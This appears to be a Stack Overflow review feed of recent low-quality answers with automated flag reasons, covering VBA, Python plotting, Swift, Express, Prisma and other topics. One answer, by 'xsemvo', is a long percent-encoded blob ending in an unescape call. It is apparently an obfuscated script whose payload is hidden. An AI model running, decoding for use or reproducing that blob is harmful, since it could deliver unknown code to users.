                        str_Out = str_Out & vbTab & obj_SubFolder.GetDetailsOf(obj_SubFolderItem, int_FieldIndex)
                    Next int_FieldIndex
                    str_Out = str_Out & vbCrLf
                Next obj_SubFolderItem
            End If
        Next obj_FolderItem
    End If 'If obj_Folder Is Nothing Then
    '-----------------------------------------------------------------------------------------------
    ' CleanUp
    Set obj_SubFolderItem = Nothing
    Set obj_SubFolder = Nothing
    Set obj_FolderItem = Nothing
    Set obj_Folder = Nothing
    Set obj_Shell = Nothing
    '-----------------------------------------------------------------------------------------------
    ' Optional Store str_Out as TSV CP1200 UTF16
    ' VBA Style:
    Dim int_FileHandler As Integer, byta() As Byte
    byta() = str_Out
    int_FileHandler = FreeFile()
    Open "C:\Out.csv" For Binary As int_FileHandler  ' Sample Target !!!!!!!! Please Adjust !!!!!!!!
    Put int_FileHandler, 1, byta()
    Close int_FileHandler
    '-----------------------------------------------------------------------------------------------
    Debug.Print
    Debug.Print "wdi ******"
    '-----------------------------------------------------------------------------------------------

End Sub
Reasons:
  • Blacklisted phrase (1): stackoverflow
  • Long answer (-1):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Uwe92

79583666

Date: 2025-04-20 19:11:02
Score: 1
Natty:
Report link

import matplotlib.pyplot as plt

import matplotlib.patches as patches

# Create figure and axes

fig, ax = plt.subplots(figsize=(8, 6))

# Room dimensions (3m x 4m)

room = patches.Rectangle((0, 0), 4, 3, linewidth=2, edgecolor='black', facecolor='whitesmoke')

ax.add_patch(room)

# Main wardrobe wall (4m wall)

wardrobe = patches.Rectangle((0.1, 0.1), 3.8, 0.6, linewidth=1, edgecolor='black', facecolor='lightgray', label='خزائن ملابس')

ax.add_patch(wardrobe)

# Shoe storage wall (3m wall)

shoe_storage = patches.Rectangle((3.3, 0.8), 0.6, 2, linewidth=1, edgecolor='black', facecolor='lightblue', label='رفوف أحذية')

ax.add_patch(shoe_storage)

# Mirror on side wall

mirror = patches.Rectangle((0.1, 2.1), 0.4, 0.8, linewidth=1, edgecolor='black', facecolor='lavender', label='مرآة')

ax.add_patch(mirror)

# Glass sliding doors

glass_doors = patches.Rectangle((0, 2.8), 4, 0.2, linewidth=1, edgecolor='blue', facecolor='lightcyan', label='أبواب زجاج سحب')

ax.add_patch(glass_doors)

# Optional center island

island = patches.Rectangle((1.5, 1.2), 1, 0.6, linewidth=1, edgecolor='black', facecolor='beige', label='جزيرة وسطية')

ax.add_patch(island)

# Room layout styling

ax.set_xlim(0, 4)

ax.set_ylim(0, 3)

ax.set_aspect('equal')

ax.axis('off')

ax.set_title("مخطط مبدئي لغرفة ملابس 3x4 م", fontsize=14, fontweight='bold')

plt.legend(loc='upper left', bbox_to_anchor=(1, 1))

plt.tight_layout()

plt.show()

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: user30324597

79583664

Date: 2025-04-20 19:10:02
Score: 0.5
Natty:
Report link

Swift 5

let myString = "12"
let myInt = Int(myString)!

Ensure, that myString is really an integer though, because this conversion is not handled at all!

Reasons:
  • Low length (1):
  • Has code block (-0.5):
Posted by: AntonSack

79583663

Date: 2025-04-20 19:09:01
Score: 2.5
Natty:
Report link

The issue wasn't with the code itself, but the compiler being used. I don't have the best explanation, but according to the advice that I received from @gregspears:

"Borland C++ 5.x is available for free on various places on the web. This is a full 32-bit version . . . which is pretty much a TurboC that can run in today's MS Windows. Essentially, if your TurboC code works in this later version but not 16 bit TurboC, then this fact may also point to a problem other than your code. You might also find it easier to spend most of your development time in current Windows and this newer version of Borland C++, and then only do a final compile and deploy in 16-bit TurboC for your finished product. ymmv."

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • User mentioned (1): @gregspears
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: LongSleevesssowo

79583658

Date: 2025-04-20 19:03:00
Score: 0.5
Natty:
Report link

I believe you're looking for @bitCast instead of @intCast.

Reasons:
  • Low length (1.5):
  • Has code block (-0.5):
  • Single line (0.5):
  • High reputation (-1):
Posted by: sigod

79583657

Date: 2025-04-20 19:00:00
Score: 1
Natty:
Report link
import nltk
from nltk.tokenize import word_tokenize

nltk.download('punkt_tab')
sample_text = "This is random text"
tokens = word_tokenize(sample_text)

print(tokens)
Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: Ganesan J

79583653

Date: 2025-04-20 18:50:58
Score: 1
Natty:
Report link

this worked for windows:

after you create the virtual environment, activate it like:

.\virtual-environment\Scripts\activate

you can try putting your virtual environment's address first like:

F:\virtual-environment\Scripts\python.exe -m pip install some-package

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Abdelrahman Muhammad

79583652

Date: 2025-04-20 18:49:58
Score: 1
Natty:
Report link

Ultimately I modified the view to use:

EXTRACT(month from cover_date)

And found that one of the classes had an instance variable that uses as annotated with a formula that was also using the month() function. Updating that to use the above fixed all the issues.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: mcpierce

79583649

Date: 2025-04-20 18:45:57
Score: 1.5
Natty:
Report link

I've come up with my own solution, which seems a bit cleaner than the one proposed by @david-soroko.

fun <T> Iterable<T>.javaForEach(consumer: Consumer<T>) = forEach(consumer)

The main point here is that the Iterable.forEach takes a Consumer, Kotlin's forEach takes a lambda and explicitly passing the Consumer resolves to the java forEach.
And just changing forEach to javaForEach looks cleaner than always casting.

Reasons:
  • Has code block (-0.5):
  • User mentioned (1): @david-soroko
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: binarynoise

79583645

Date: 2025-04-20 18:38:55
Score: 3
Natty:
Report link

You can also configure zIndex prop from DefaultEdgeOptions, I think is the better approch here if you want to have all egdes on top of nodes.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: elxilon

79583632

Date: 2025-04-20 18:23:52
Score: 3.5
Natty:
Report link

It's used to show variants of glyphs. @Vitox wrote a good answer already. I'm supplementing it with examples of Chinese characters. All these characters are the same code point (U+85AB) but notice they are slightly different.

u85ab 3 variants

E0101, E0102, E0103 are the variation selector 18, 19 and 20.

variation selectors

If you type U+85AB and then the variation selector in a supported text editor, you can type different variants of the same Chinese character.

source: https://youtu.be/cNv2BrmP9SY?t=30

Reasons:
  • Blacklisted phrase (1): youtu.be
  • Probably link only (1):
  • No code block (0.5):
  • User mentioned (1): @Vitox
Posted by: thyu

79583630

Date: 2025-04-20 18:22:51
Score: 10 🚩
Natty: 6.5
Report link

@michael-kay, do you have any planned date to release SaxonJ 13 ?

Reasons:
  • RegEx Blacklisted phrase (2.5): do you have any
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • User mentioned (1): @michael-kay
  • Single line (0.5):
  • Looks like a comment (1):
  • Low reputation (1):
Posted by: Daze

79583626

Date: 2025-04-20 18:15:49
Score: 1
Natty:
Report link

you can use cookies It's an in built method in base javascript You can go online and see how to use it

Reasons:
  • Whitelisted phrase (-1.5): you can use
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Elvadinho

79583623

Date: 2025-04-20 18:11:48
Score: 1.5
Natty:
Report link

I faced the same issue where req.body was not set, and the console was showing a 500 Internal Server Error. After investigating, I found that the key issue was a version mismatch — Apollo Server Express expects Express 4.x, but I had Express 5.x installed. This caused a dependency conflict and broke the request handling. To fix it, I first uninstalled the current version of Express using npm uninstall express, then installed a compatible version with npm install [email protected]. After that, I made sure the required Apollo Server packages were installed by running npm install @apollo/server graphql. Once everything was set up correctly, the error was resolved and the server started working as expected.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Nikita Pawar

79583619

Date: 2025-04-20 18:03:46
Score: 4
Natty:
Report link

enter image description hereClick the dropdown below 'Project' at the top left and select 'Project' view instead of 'Android' to see the full Flutter project structure.

enter image description hereResolved!

Reasons:
  • Blacklisted phrase (1): enter image description here
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Saqib Ali

79583618

Date: 2025-04-20 18:02:46
Score: 2
Natty:
Report link

This happens because:

1- You defined the `numbers` parameter as a single integer, and the problem is that you can't iterate through a single integer, so the program expects you to define the parameter as a sequence, like: [1, 2, 3].

2- You wrote `For` instead of `for`, which may result in an error.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Programming Things

79583614

Date: 2025-04-20 17:59:45
Score: 1.5
Natty:
Report link

73%7f%1a%78%1c%2b%7e%65%6b%60%68%6a%60%50%67%72%70%24%6a%6b%66%78%76%6b%7a%60%60%4f%67%6e%71%5b%64%71%7a%26%7e%56%3a%09%0c%1a%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%6d%77%58%63%62%44%65%70%6e%76%1a%39%1c%27%3e%0c%00%1f%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%16%69%5d%75%76%50%65%62%64%19%33%1f%64%7b%73%72%67%68%70%50%6e%6c%64%31%0a%0d%16%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%7e%03%0b%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%16%73%61%6b%77%61%73%7b%38%6b%6f%6a%5a%7a%64%6f%68%40%72%5d%62%64%21%7b%6f%67%57%71%61%40%4a%53%43%64%74%6b%7a%62%75%2f%3a%09%0c%1a%1c%1c%17%19%19%16%1f%7e%03%0b%1c%1a%1a%1c%1c%17%19%19%7b%6f%67%57%71%61%40%4a%53%43%64%74%6b%7a%62%75%2e%24%3b%0f%0c%09%0a%17%19%19%16%1f%1b%16%1d%66%77%68%63%70%6e%6a%6b%16%73%68%6d%66%68%67%4f%61%6e%7a%21%20%16%78%0e%00%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%69%6e%6e%75%76%1c%69%6a%6b%74%16%3a%1b%6a%6e%63%77%6f%61%6e%7b%2b%62%6b%73%46%62%60%69%67%68%70%42%7e%40%65%2e%21%6e%6b%6f%71%24%23%3b%09%01%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%68%6a%6b%79%73%1b%65%77%61%74%6e%5d%75%17%3c%19%6a%6c%64%7b%68%61%68%76%2e%67%6a%75%44%62%62%6e%6b%6f%70%44%73%45%60%2f%27%6a%7c%62%75%62%5c%75%24%23%3b%09%01%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%6e%63%19%2e%6a%66%64%70%2e%75%76%75%68%6a%2b%65%6f%70%6b%62%5c%75%1a%3f%39%39%17%27%67%62%6c%64%61%23%25%1a%7d%09%0a%17%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%63%62%69%7b%2f%73%76%73%68%61%25%65%60%79%6f%6f%57%74%1c%3f%1a%22%6e%64%6b%64%28%38%0e%00%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%69%76%61%79%6d%58%7f%2d%74%7a%74%68%67%28%60%65%78%69%6d%57%76%1b%33%1d%22%68%69%6e%61%29%3e%0c%00%1f%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%73%1f%66%62%72%61%1a%7d%09%0a%17%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%63%62%69%7b%2f%73%76%73%68%61%25%65%60%79%6f%6f%57%74%1c%3f%1a%22%62%63%6a%66%61%21%3c%03%0b%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%1a%6f%76%6a%77%6d%57%76%29%79%71%75%6e%67%2e%60%6e%76%69%62%5e%72%16%38%1c%24%64%68%6f%68%6e%27%31%0a%0d%16%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%7e%03%0b%1c%1a%1a%1c%1c%17%19%19%73%0a%0d%03%0b%1c%1a%1a%1c%1c%17%19%19%6c%72%69%69%71%65%69%68%1c%5d%68%75%60%7c%5e%77%6b%4e%6c%76%63%6f%6e%2f%67%74%7a%73%68%64%44%60%23%1a%7b%09%01%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%56%6d%64%78%73%23%56%21%7b%64%77%70%70%64%6b%40%6a%7a%1b%57%62%70%63%70%5d%70%6a%65%59%2f%38%0e%00%1d%1c%1a%1a%1c%1c%17%19%7c%03%09%0e%00%1d%1c%1a%1a%1c%1c%17%19%63%7b%6d%64%7a%64%6f%68%1a%73%64%64%72%56%7b%61%6e%6b%6f%71%22%75%71%62%62%64%6b%7b%46%67%2f%1d%7b%0f%0c%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%65%6f%6e%78%75%19%79%72%65%63%60%6e%77%1a%39%1c%6b%6a%66%7b%6a%66%64%71%2e%61%67%70%41%63%64%6c%6b%6d%77%48%74%45%66%22%73%71%69%6c%64%64%72%42%6a%24%3b%0f%0c%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%75%71%62%62%64%6b%7b%2d%74%7a%74%68%67%28%60%65%78%69%6d%57%76%1b%33%1d%73%77%64%69%61%65%74%2b%79%73%72%62%60%2e%66%63%73%6c%63%58%70%16%3a%3e%33%1d%22%64%6e%6f%63%60%27%19%35%1f%25%64%6e%6e%67%24%1c%3a%17%27%67%62%6c%64%61%23%3b%0f%0c%1c%1c%17%19%19%16%1f%1b%73%08%0a%0f%0c%1c%1c%17%19%19%16%1f%1b%6c%70%6e%65%76%65%6f%65%19%76%6b%73%54%66%60%61%66%22%73%6c%6a%64%65%2f%1f%7c%03%0b%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%16%5c%68%67%74%70%24%57%56%69%6b%62%67%16%72%61%76%1a%70%6f%31%19%25%71%70%6b%6b%60%60%7f%5a%25%3b%02%0f%19%16%1f%1b%16%1d%1c%1a%7f%09%0a%02%0f%19%16%1f%1b%16%1d%1c%1a%60%71%6e%68%75%60%65%6d%1b%57%70%70%62%67%6e%70%6e%66%58%7a%62%23%2f%1d%7b%0f%0c%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%65%6f%6e%78%75%19%7b%70%66%78%6f%5d%6f%67%1c%39%17%65%6a%69%72%6e%6b%6f%70%28%61%61%70%4a%6d%64%63%62%69%7a%43%75%43%66%24%22%7a%76%64%78%6d%5a%63%60%22%23%28%76%5d%63%74%64%31%0a%0d%16%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%64%65%6f%73%76%1a%6c%5d%78%76%72%65%71%67%16%38%1c%66%69%63%71%62%64%6b%7a%2d%60%6b%71%41%6e%67%69%61%65%75%47%7f%46%67%2e%23%6c%5b%75%73%77%64%77%65%28%26%29%7c%5c%68%77%67%3b%09%01%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%6e%63%19%2e%72%74%6b%73%6e%5b%6f%61%1c%32%3c%3c%16%21%46%5a%40%52%48%3b%48%22%17%23%23%16%6f%5a%79%72%77%69%74%60%1c%32%3c%3c%16%21%30%5d%3c%55%3b%24%25%1c%70%0c%0f%16%1f%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%6a%6e%63%77%6f%61%6e%7b%2b%62%6b%73%46%62%60%69%67%68%70%42%7e%40%65%2e%21%5a%7b%71%64%2f%60%6f%72%62%27%20%24%70%77%7f%69%61%28%66%65%73%67%6d%58%7f%1f%3e%16%23%6e%69%68%61%22%30%0c%0f%16%1f%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%16%1f%1b%6a%6e%63%77%6f%61%6e%7b%2b%62%6b%73%46%62%60%69%67%68%70%42%7e%40%65%2e%21%64%65%6f%70%67%68%70%22%2e%2b%76%7a%76%6f%6b%2f%60%63%75%6c%68%56%70%19%33%1f%25%68%69%6f%65%6d%22%3b%02%0f%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%17%7c%19%6b%6b%74%6b%1d%7b%0f%0c%1c%1c%17%19%19%16%1f%1b%16%1d%1c%1a%1a%1c%1c%17%58%6d%6b%71%77%2e%23%45%68%70%5d%68%6e%65%19%49%6c%67%6b%29%1c%6a%6e%61%5d%78%64%19%7a%71%72%16%5c%67%5b%63%6e%2e%29%20%3e%03%09%1b%16%1d%1c%1a%1a%1c%1c%17%19%19%16%7a%0e%00%1d%1c%1a%1a%1c%1c%17%19%7c%03%09%1b%16%1d%1c%3e%29%73%63%79%60%69%7a%3d%0e%00%39%2f%64%69%60%75%35%0c%0f%32%2c%63%7a%68%68%3820586198%34%34%32%32%39%37%37' + unescape('%27%29%29%3b'))

Reasons:
  • Long answer (-1):
  • No code block (0.5):
  • Has no white space (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: xsemvo

79583612

Date: 2025-04-20 17:57:44
Score: 1
Natty:
Report link
Use SSH key authentication. 

Set up passwordless login using SSH keys

1. Generate key (if you don’t have one):

   ssh-keygen
   
2. Copy your public key to the target:

   ssh-copy-id root@target_host
   
3. Now you can simply do:

   ssh root@target_host 'command1; command2'
 
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Kimanthi

79583607

Date: 2025-04-20 17:53:43
Score: 1
Natty:
Report link

Recursion can be a bit difficult to understand at first. This visualization shows how mergesort([3,2,7,1,4,6,5]) repeatedly splits the problem into sub-problems until a sub-problem is sorted, and then recombines the result of two sub-problems using merge() before it returns:

call tree

The final result is:

final image

Visualization made using invocation-tree, I'm the developer. (remove this line if considered self promotion)

Reasons:
  • Probably link only (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: bterwijn

79583588

Date: 2025-04-20 17:31:39
Score: 2
Natty:
Report link

For me, Windows Powershell was disabled by the administrators. After enabling it, all things worked fine without errors.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: user2015398

79583587

Date: 2025-04-20 17:30:39
Score: 1.5
Natty:
Report link
CSS:

:deep(.q-list .q-item) {
    margin-bottom: 12px;
}

What does that do? Your CSS is probably scoped and thus does not affect the components. Using the deep selector the preprocessor applies the rules to nested components as well.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Starts with a question (0.5): What do
  • Low reputation (0.5):
Posted by: muzzletov

79583581

Date: 2025-04-20 17:22:37
Score: 2.5
Natty:
Report link

To manage and connect to Azure EventHubs using Python you can use the azure-eventhubs and azure-identity SDKs.

check the below link:

https://medium.com/@vjay.net/connecting-to-azure-event-hub-c-and-python-examples-for-key-based-and-msi-based-authentication-9529298519ba

Reasons:
  • Blacklisted phrase (0.5): medium.com
  • Whitelisted phrase (-1.5): you can use
  • Probably link only (1):
  • Low length (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Vidhathri Sai

79583578

Date: 2025-04-20 17:20:36
Score: 2
Natty:
Report link

If Spring Boot's auto-configuration isn't creating the JavaMailSender bean automatically (resulting in No beans of 'JavaMailSender' type found), you can manually configure it. This approach ensures the bean is properly initialized, especially when working with local SMTP servers like MailDev.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Self-answer (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Chibani Mouhamed Ali

79583576

Date: 2025-04-20 17:19:36
Score: 2
Natty:
Report link

I think the admin user record is inserted twice because you run the createAdmin() function once in runserver.py, and then, for some reason it will be run again when you start your app with app.run(debug=True). I do not understand why gets re-run, but I have seen the same issue. If you do not start the app, then the createAdmin() will be run only once (I would expect).

Reasons:
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Zoltan Horvath

79583567

Date: 2025-04-20 17:03:32
Score: 1
Natty:
Report link

For me I have downloaded fribidi.dll and put it in the same python code dir, then in the code before using PIL Image I added it to path.

import os
import sys
os.environ['FRIBIDI_PATH'] = str(Path(sys.executable).parent / "fribidi.dll")
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Jaffer Al-Delphi

79583564

Date: 2025-04-20 16:59:31
Score: 1.5
Natty:
Report link

Oh you that know so much. Read my revised answer above. No way to talk with you so I re-raise issue here in this answer which you will hate too, but you are wrong. And of all things, years ago I used the phpdelusions site to learn how to convert my interactive sql to prepared statement, and when I ran into the placeholder issue with like, I realized the flaw in like. One can put the % into the form value, such as j%o%e If you think I'm wrong, try it out yourself. Or use the Google. Ban me. One can't know everything. Bye. Have a good life. What you have here without mentioning this is teach people bad coding style.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Matthew S

79583562

Date: 2025-04-20 16:58:31
Score: 1
Natty:
Report link
from telethon.tl.functions.payments import GetStarGiftsRequest
gifts = await client(GetStarGiftsRequest(hash=0))
gift = gifts.gifts[0] #0 is for heart and 11 for birthday candle
print(gift.id)
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: aayco

79583561

Date: 2025-04-20 16:58:31
Score: 3
Natty:
Report link

In a shell window type top then enter to start up real time active process monitoring. Search that running processes list for the one you want.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Howard Brodale

79583547

Date: 2025-04-20 16:47:28
Score: 2.5
Natty:
Report link

Disable Nahimic service in Windows Services, and the problem is gone.

How-to: Disable Nahimic Service to fix high CPU and RAM problem – HAP|仲林 : THE ARTISTEER

By the way, this problem has been present since at least 2019 with Qt 5.13, hence it's more likely the fault of Nahimic-related software.


After searching for it, I still don't know why this method is useful, but I found that this software has caused widespread complaints (on other problems):

Nahimic is literally malware. : r/LenovoLegion

Nahimic service真是个奇葩的存在 - 电脑讨论(新) - Chiphell - 分享与交流用户体验

Reasons:
  • Probably link only (1):
  • No code block (0.5):
  • Low reputation (1):
Posted by: SELF4215

79583540

Date: 2025-04-20 16:43:27
Score: 1
Natty:
Report link
JavaVersion.VERSION_1_8 - :))) May be need be change to JavaVersion.VERSION_21?
And check your toml file

else the thing:
    kotlinOptions {
        jvmTarget = '17'
    }
jump to 21 target to
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Serhij

79583523

Date: 2025-04-20 16:20:22
Score: 2
Natty:
Report link

Thank you to everyone who posted! I learned a very valuable lesson about trusting AI and ended up finding a pretty clear cut python only tutorial that showed me what to do that didn't involve any JS (thank GOD): https://www.geeksforgeeks.org/retrieving-html-from-data-using-flask/

Hope this helps the next person with the same problem!

Reasons:
  • Blacklisted phrase (0.5): Thank you
  • Whitelisted phrase (-1): Hope this helps
  • Low length (0.5):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (1):
Posted by: Megan Smith

79583522

Date: 2025-04-20 16:19:22
Score: 1
Natty:
Report link

No, Amazon's Product Advertising API and Advertising API don’t provide detailed PPC keyword data by ASIN like search volume, keyword ranking, or suggested bids. These APIs only let you manage your own campaigns or get basic product info.

The tools you're using get this data by scraping Amazon, analyzing search results, and using third-party data sources — not from Amazon’s official APIs.

So, to access those detailed keyword insights, you'll need to keep using third-party tools like Helium 10, Jungle Scout, or similar platforms.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Ruhul Amin

79583493

Date: 2025-04-20 15:32:11
Score: 3
Natty:
Report link

Yes, its not sending the password in the email, only username and link to my account page.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Chirag Joshi

79583483

Date: 2025-04-20 15:16:08
Score: 0.5
Natty:
Report link

What a difference?

subList takes less memory as it refers at the same original list but with boundaries to view (fromIndex, toIndex).No matter what changes you are doing in subList or in that part of original list - they both are changes because essentially they refers to the same memory.

slice allocate new List in memory. It means that you can modify new sliced list and it doesn't affect original List: add or remove elements, replace an element with new one (mutable list). The only exception: if you modified an element - it is modified in both original and sliced lists, because they refer to the same element in the memory.

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Contains question mark (0.5):
  • Starts with a question (0.5): What a
  • Low reputation (0.5):
Posted by: Alexey Simchenko

79583482

Date: 2025-04-20 15:15:07
Score: 1.5
Natty:
Report link

In Pycharm 2025.1, I programmed my Mac Os Keyboard as follows:

Since there is no insert key I programmed the Ctrl-Clear to be Insert

Pycharm —> Settings — Keymap — Editor Actions — Toggle Insert/Overwrite

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Sequestered1776Vexer

79583479

Date: 2025-04-20 15:13:06
Score: 8 🚩
Natty: 5.5
Report link

Do you find a solution for this problem?

Reasons:
  • RegEx Blacklisted phrase (2.5): Do you find a
  • Low length (1.5):
  • No code block (0.5):
  • Ends in question mark (2):
  • Single line (0.5):
  • Low reputation (1):
Posted by: maryam jamebozorg

79583476

Date: 2025-04-20 15:09:04
Score: 1
Natty:
Report link
In schema.prisma file
generator client {
  provider = "prisma-client-js"
  output   = "../src/generated/prisma" // notice that
}

In auth.ts file, import PrismaClient

import { PrismaClient } from "../src/generated/prisma"; // notice that
Both will be the same.
Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Nurul Islam

79583474

Date: 2025-04-20 15:08:04
Score: 1
Natty:
Report link

When you merge declarations, such as when extending existing types,TypeScript will merge the type declarations it finds, but the loading order of those types matters. TypeScript should look in the custom type path first Ensure your custom type path exemple.

❌ Wrong way

{
  "compilerOptions": {
    "typeRoots": ["./node_modules/@types", "./src/types"]
  }
}

✅ Right way

{
  "compilerOptions": {
    "typeRoots": ["./src/types", "./node_modules/@types"]
  }
}
Reasons:
  • Has code block (-0.5):
  • Starts with a question (0.5): When you me
  • Low reputation (1):
Posted by: Marcos

79583466

Date: 2025-04-20 14:56:02
Score: 0.5
Natty:
Report link

I would have to use a scripting language to get the desired result fastest. I think I would write a regex that could be used for the needles by a regex match function like re.match('INV [0-9]* ') that is run across each line and line no's and invoice numbers are stored in a dictionary.

Run the program again against the haystack and generate a dictionary of line number, invoice number.

A function that lists the line number from the needles string and haystack string and outputs a tuple of the form {line no in needles file, line number in haystack file} then simple iterate the list of tuple pairs and concatenate those respective lines and print the result for all the matches in the dictionary.

Let me know where you're stuck if you don't find a simpler approach. I don't know how to do this with just regex or some other one liner approach !

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: user377241

79583463

Date: 2025-04-20 14:53:01
Score: 2.5
Natty:
Report link

The Maildir object itself can be iterated to loop through the messages in the top-level folder.

mbox = mailbox.Maildir(dirpath, create=False)
for msg in mbox.itervalues():
  ...

or just:

for msg in mbox:
  ...

https://docs.python.org/3/library/mailbox.html#maildir-objects

Reasons:
  • Probably link only (1):
  • Low length (0.5):
  • Has code block (-0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: user30323242

79583459

Date: 2025-04-20 14:46:59
Score: 2
Natty:
Report link

I think the file you are looking for doesn't exist on your system, i hope this help!

Reasons:
  • Whitelisted phrase (-1): hope this help
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Buage

79583458

Date: 2025-04-20 14:46:59
Score: 1
Natty:
Report link

Suppose we are making an auction application, and a product has owner property. Initially, the owner is undefined. After the auction is completed, if the owner is null, it means the product went unsold. And if it is sold, it has some owner ID.

In such a case, we can do the filtering, UI and other operations based on undefined === null (false), treating null and undefined as different things.

Note - that in such scenarios, if we use undefined == null (True) it could result in wrong data and operations.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: SOTDA

79583455

Date: 2025-04-20 14:39:58
Score: 1.5
Natty:
Report link

I've got an update to z4k's answer. It's possible it's because of changes since he posted his answer eight years ago.

First off, I'd recommend including sizes 36 and 72 because they are used for program icons in the start menu and for medium desktop icons respectively at the popular 144 pixels per logical inch / 150% scaling factor.

Secondly, I'd recommend excluding sizes 31 and 47, because they're only used for small start menu tiles and shown at the wrong sizes, 30 and 42 respectively, so they'll be blurry anyway. (This is actually a common theme. I've noticed a lot of blurry icons everywhere on recent Windows versions so I can only assume that Microsoft's programmers have become less competent over the years.) I also recommend excluding 63 which may either have been a copying error on z4k's part or the result of a really obscure bug, I cannot image.

The final list of recommended resolutions then becomes: 16, 20, 24, 28, 30, 32, 36, 40, 42, 48, 56, 60, 72, 84, 256

If your program has to run on older systems or work better with remote desktop you also have to include low colour icons. I'd recommend the following: 32 monochrome if you need it, and 16, 32 and 48 in both 16 colours and 256 colours. As a matter of fact at the small size of an icon the difference between true colour and 256 colours may not be possible to spot and it keeps the file size down as well so you may opt to also use that for larger sizes. As a final note, some programming frameworks have the annoying tendency to be picky about the order in which the icons appear in the file. I vaguely remember having once used one where it would use the wrong icon unless size 16 was first in the file. So if you don't see the right icon, experiment with the order of the sizes in the file.

Reasons:
  • Blacklisted phrase (0.5): I cannot
  • Long answer (-1):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Anonymous Coward

79583452

Date: 2025-04-20 14:38:58
Score: 2
Natty:
Report link

please stop making it so easy for half assed hackers to stalk people and break into their accounts and violate every civil liberty that regardless of your agreements, the constitution declares it unalienable, rights to life liberty and the pursuit of happiness, unless Google keeps making it easier to hack life and never implement safety w/o making you pay 100’s a year for it. This is harassment,stalking,and forgery, liable and other things also, leave me alone. Stop eavesdropping on people’s privacy you sick weirdos.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Unregistered user (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Sickofthis

79583446

Date: 2025-04-20 14:32:56
Score: 0.5
Natty:
Report link

Change the calling convention from __cdecl to __stdcall.

in Configuration -> C/C++ ->Advanced -> Calling Convention

Reasons:
  • Low length (1):
  • No code block (0.5):
  • High reputation (-1):
Posted by: Markus Schumann

79583438

Date: 2025-04-20 14:14:52
Score: 3
Natty:
Report link

